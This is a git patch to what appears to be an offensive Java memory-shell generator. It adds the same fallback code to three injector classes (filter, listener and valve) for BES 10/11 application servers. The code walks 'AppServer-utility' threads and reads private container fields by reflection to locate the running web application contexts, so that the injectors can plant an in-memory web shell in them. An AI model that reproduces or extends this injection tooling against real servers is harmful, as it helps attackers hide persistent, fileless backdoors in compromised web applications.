From d4c6473543a5d8e9e82bf18396a79764cc61de95 Mon Sep 17 00:00:00 2001 From: su18 Date: Tue, 25 Aug 2026 20:42:31 +0800 Subject: [PATCH] feat(bes): add BES 10/11 context discovery via AppServer-utility thread --- .../injector/bes/BesFilterInjector.java | 41 +++++++++++++++++++ .../injector/bes/BesListenerInjector.java | 41 +++++++++++++++++++ .../injector/bes/BesValveInjector.java | 41 +++++++++++++++++++ 3 files changed, 123 insertions(+) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java index a70609ed..af82f3bb 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java @@ -102,6 +102,47 @@ public class BesFilterInjector { } } } + // BES 10 / BES 11: AppServer-utility thread fallback. + // BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both. + if (contexts.isEmpty()) { + for (Thread thread : threads) { + try { + if (!thread.getName().contains("AppServer-utility")) { + continue; + } + Object target = getFieldValue(thread, "target"); + Object realTarget = target; + try { + realTarget = getFieldValue(target, "wrappedRunnable"); + } catch (Throwable ignored) { + } + Iterable workQueue = (Iterable) getFieldValue(getFieldValue(realTarget, "this$0"), "workQueue"); + for (Object task : workQueue) { + if (task == null) { + continue; + } + try { + Object callable = getFieldValue(task, "callable"); + Object runnable; + try { + runnable = getFieldValue(callable, "task"); + } catch (Throwable ignored) { + runnable = callable; + } + if (runnable == null || !runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) { + continue; + } + Object engine = getFieldValue(runnable, "this$0"); + for (Object host : ((Map) getFieldValue(engine, "children")).values()) { + contexts.addAll(((Map) getFieldValue(host, "children")).values()); + } + } catch (Throwable ignored) { + } + } + } catch (Throwable ignored) { + } + } + } return contexts; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java index b1cfed49..31e43a57 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java @@ -94,6 +94,47 @@ public class BesListenerInjector { } } } + // BES 10 / BES 11: AppServer-utility thread fallback. + // BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both. + if (contexts.isEmpty()) { + for (Thread thread : threads) { + try { + if (!thread.getName().contains("AppServer-utility")) { + continue; + } + Object target = getFieldValue(thread, "target"); + Object realTarget = target; + try { + realTarget = getFieldValue(target, "wrappedRunnable"); + } catch (Throwable ignored) { + } + Iterable workQueue = (Iterable) getFieldValue(getFieldValue(realTarget, "this$0"), "workQueue"); + for (Object task : workQueue) { + if (task == null) { + continue; + } + try { + Object callable = getFieldValue(task, "callable"); + Object runnable; + try { + runnable = getFieldValue(callable, "task"); + } catch (Throwable ignored) { + runnable = callable; + } + if (runnable == null || !runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) { + continue; + } + Object engine = getFieldValue(runnable, "this$0"); + for (Object host : ((Map) getFieldValue(engine, "children")).values()) { + contexts.addAll(((Map) getFieldValue(host, "children")).values()); + } + } catch (Throwable ignored) { + } + } + } catch (Throwable ignored) { + } + } + } return contexts; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java index 8a384672..21a25a26 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java @@ -93,6 +93,47 @@ public class BesValveInjector { } } } + // BES 10 / BES 11: AppServer-utility thread fallback. + // BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both. + if (contexts.isEmpty()) { + for (Thread thread : threads) { + try { + if (!thread.getName().contains("AppServer-utility")) { + continue; + } + Object target = getFieldValue(thread, "target"); + Object realTarget = target; + try { + realTarget = getFieldValue(target, "wrappedRunnable"); + } catch (Throwable ignored) { + } + Iterable workQueue = (Iterable) getFieldValue(getFieldValue(realTarget, "this$0"), "workQueue"); + for (Object task : workQueue) { + if (task == null) { + continue; + } + try { + Object callable = getFieldValue(task, "callable"); + Object runnable; + try { + runnable = getFieldValue(callable, "task"); + } catch (Throwable ignored) { + runnable = callable; + } + if (runnable == null || !runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) { + continue; + } + Object engine = getFieldValue(runnable, "this$0"); + for (Object host : ((Map) getFieldValue(engine, "children")).values()) { + contexts.addAll(((Map) getFieldValue(host, "children")).values()); + } + } catch (Throwable ignored) { + } + } + } catch (Throwable ignored) { + } + } + } return contexts; }